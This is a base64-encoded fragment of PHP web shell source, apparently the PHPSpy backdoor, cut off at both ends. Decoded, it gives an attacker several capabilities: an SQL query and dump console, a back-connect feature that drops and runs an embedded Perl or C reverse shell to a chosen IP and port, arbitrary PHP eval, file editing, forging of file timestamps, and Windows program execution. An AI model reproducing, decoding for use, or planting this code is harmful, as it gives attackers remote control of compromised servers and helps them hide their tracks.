KTsKCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7CgkJCQkJCWlmICgkcXVl
cnkpIHsKCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygk
cXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkK
CQkJCQkJCXsKCQkJCQkJCQljYXNlIDA6CgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxf
ZXJyb3IoKS4nPC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJ
CQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJHF1ZXJ5LDAsMTMpKSA9PSAnc2VsZWN0ICogZnJvbScp
IHsKCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJCQkJCQkJCQl9CgkJCQkJCQkJCWlmICgkZ2V0
bnVtc3FsKSB7CgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwp
KTsKCQkJCQkJCQkJCSRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwg
JHRhYmxlbmFtZSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7CgkJCQkJ
CQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJy
YXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7CgkJCQkJ
CQkJCQkkc3FsX2xpbmUgPSBwcmVnX3JlcGxhY2UoIi9cL1wqW14oXCpcLyldKlwqXC8vaSIsICIg
IiwgJHNxbF9saW5lKTsKCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShb
XHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsKCQkJCQkJCQkJCSR0YWJsZW5h
bWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQkJfQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVl
cnkpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIw
IiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCQkJCQlwKCc8dHIgY2xh
c3M9ImhlYWQiPicpOwoJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+
Jyk7CgkJCQkJCQkJCSRmaWVsZG51bSA9IEBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOwoJCQkJ
CQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCQkkbmFtZSA9IEBteXNx
bF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxk
X3R5cGUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJl
c3VsdCwgJGkpOwoJCQkJCQkJCQkJcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgk
bGVuKTwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJ
CQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkk
dGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91
c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNz
TmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEg
PSAnJzsKCQkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpewoJCQkJCQkJCQkJ
CWlmICgkaW5zaWRlKSB7CgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRz
bGFzaGVzKCRpbnNpZGUpLiInIjsKCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7CgkJCQkJCQkJ
CQkJfQoJCQkJCQkJCQkJCSRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSku
JyZuYnNwOzwvdGQ+JzsKCQkJCQkJCQkJCX0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNv
ZGUoJHdoZXJlKTsKCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhy
ZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4k
dGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29y
ZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48
L3RkPicpOwoJCQkJCQkJCQkJcCgkYjEpOwoJCQkJCQkJCQkJcCgnPC90cj4nKTsKCQkJCQkJCQkJ
CXVuc2V0KCRiMSk7CgkJCQkJCQkJCX0KCQkJCQkJCQkJdGJmb290KCk7CgkJCQkJCQkJCXAoJG11
bHRpcGFnZSk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCWNhc2UgMjoKCQkJCQkJCQkJJGFyID0g
bXlzcWxfYWZmZWN0ZWRfcm93cygpOwoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxi
PicuJGFyLic8L2I+PC9oMj4nKTsKCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQl9CgkJCQkJCX0KCQkJ
CQl9CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIp
OwoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7CgkJCQkkdGFi
bGVkYiA9IGFycmF5KCk7CgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVl
cnkpKSB7CgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3Ro
J107CgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOwoJCQkJ
CSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10p
OwoJCQkJCSR0YWJsZV9udW0rKzsKCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOwoJCQkJfQoJCQkJ
JGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsKCQkJCXVuc2V0KCR0YWJsZSk7CgkJ
CQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicp
OwoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7CgkJCQlt
YWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCQkJCXAoJGRiZm9ybSk7CgkJCQlwKCc8dHIg
Y2xhc3M9ImhlYWQiPicpOwoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlu
cHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hl
Y2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOwoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOwoJCQkJ
cCgnPHRkPlJvd3M8L3RkPicpOwoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsKCQkJCXAo
Jzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7CgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOwoJ
CQkJaWYgKCRoaWdodmVyKSB7CgkJCQkJcCgnPHRkPkVuZ2luZTwvdGQ+Jyk7CgkJCQkJcCgnPHRk
PkNvbGxhdGlvbjwvdGQ+Jyk7CgkJCQl9CgkJCQlwKCc8L3RyPicpOwoJCQkJZm9yZWFjaCAoJHRh
YmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsKCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQlwKCc8
dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1
c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7CgkJ
CQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94
IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7CgkJ
CQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSdd
LidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0
YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8
YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3Ry
dWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUo
XCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXTwvdGQ+Jyk7CgkJ
CQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxl
WydEYXRhX2xlbmd0aCddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3Rp
bWUnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+
Jyk7CgkJCQkJaWYgKCRoaWdodmVyKSB7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10u
JzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7CgkJ
CQkJfQoJCQkJCXAoJzwvdHI+Jyk7CgkJCQl9CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7
CgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRh
YmxlX251bS4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOwoJCQkJ
cCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsKCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGln
aHZlciA/IDQgOiAyKS4nIj4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCgkJCQlwKCI8
dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNiku
IlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2Jv
eFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIg
dmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlw
ZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJt
aXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+
PC90ZD48L3RyPiIpOwoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsKCQkJCWZv
cm1mb290KCk7CgkJCQlwKCI8L3RhYmxlPiIpOwoJCQkJZnIoJHF1ZXJ5KTsKCQkJfQoJCX0KCX0K
CXRiZm9vdCgpOwoJQG15c3FsX2Nsb3NlKCk7Cn0vL2VuZCBzcWwgYmFja3VwCgoKZWxzZWlmICgk
YWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsKCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZF
UlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsKCSR1
c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKCgkkYmFja19jb25uZWN0PSJJ
eUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93
MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4KCQkiYUc4Z0ltQnBa
R0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RR
b2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuCgkJImhj
bWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpH
UnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1Qi
LgoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpY
UW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNC
a2FXVW9JIi4KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pI
QmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENB
aVBpWlRUME5MUlZRaSIuCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtU
c05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdW
dEtUc05DbU5zYjNObEtGTlVSRWwiLgoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJH
OXpaU2hUVkVSRlVsSXBPdz09IjsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpH
bHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1
bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMiLgoJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlD
cGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlC
emFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIy
NG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5O
cGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuCgkJIktTazdEUW9nYzJsdUxu
TnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5w
bGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoiLgoJCSJzWlc0b1lY
Sm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtW
QlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQki
QW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5
amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3
RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pC
ZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElv
Wm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNO
b0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYg
KCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAn
cGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0g
ZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAm
Iik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsK
CQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycp
OwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAv
YW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBj
b25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJy
YXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29u
bmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1l
Jz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6
Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVl
Jz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3Vz
ZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXko
J25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3Mn
PT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgc3FsIGJhY2t1cAoKZWxz
ZWlmICgkYWN0aW9uID09ICdldmFsJykgewoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsKCWlm
KCRwaHBjb2RlKXsKCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsKCQkJ
JHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7CgkJfQoJCWV2YWwoIj8iLiI+
JHBocGNvZGU8PyIpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUn
KSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+
J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsKCXAoJzxw
PjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9i
bGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZXZhbAoK
ZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsKCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUp
KSB7CgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7CgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZp
bGVzaXplKCRvcGZpbGUpKTsKCQlAZmNsb3NlKCRmcCk7CgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFs
Y2hhcnMoJGNvbnRlbnRzKTsKCX0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBF
ZGl0IEZpbGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2Rpcics
JG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9y
dCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3Zh
bHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsKCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidG
aWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsK
CWZvcm1mb290ZXIoKTsKfS8vZW5kIGVkaXRmaWxlCgplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3Rp
bWUnKSB7Cgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOwoJLy8kdGltZSA9IHN0
cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkkY2Fj
aGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0Fw
cmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1i
ZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOwoJZm9y
bWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScp
KTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7
CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUn
LCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CgltYWtlaW5wdXQo
YXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZp
bGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoJZm9ybWhlYWQo
YXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOwoJbWFrZWhpZGUoJ2FjdGlvbics
J2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0
bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9
PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CglwKCc8cD5JbnN0ZWFkICZyYXF1
bzsnKTsKCXAoJ3llYXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVl
Jz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsKCXAoJ21vbnRoOicpOwoJbWFr
ZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRp
bWUpLCdzaXplJz0+MikpOwoJcCgnZGF5OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Rh
eScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ2hvdXI6
Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9w
ZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ21pbnV0ZTonKTsKCW1ha2VpbnB1dChhcnJheSgn
bmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4y
KSk7CglwKCdzZWNvbmQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFs
dWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnPC9wPicpOwoJZm9y
bWZvb3RlcigpOwp9Ly9lbmQgbmV3dGltZQoKZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsK
CWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgewoJ
CQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7CgkJCSRhID0gJHNoZWxsLT5T
aGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7CgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAn
LighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsKCQl9CgkJISRwcm9ncmFtICYmICRwcm9ncmFt
ID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7CgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFt
ZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOwoJCWZvcm1oZWFkKGFy
cmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7CgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3No
ZWxsJyk7CgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9n
cmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsKCQlwKCc8cD4nKTsKCQltYWtl
aW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFs
dWUnPT4kcGFyYW1ldGVyKSk7CgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2Ns
YXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJCXAoJzwv
cD4nKTsKCQlmb3JtZm9vdCgpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUg
Q29tbWFuZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOwoJaWYgKElTX1dJTiAmJiBJ
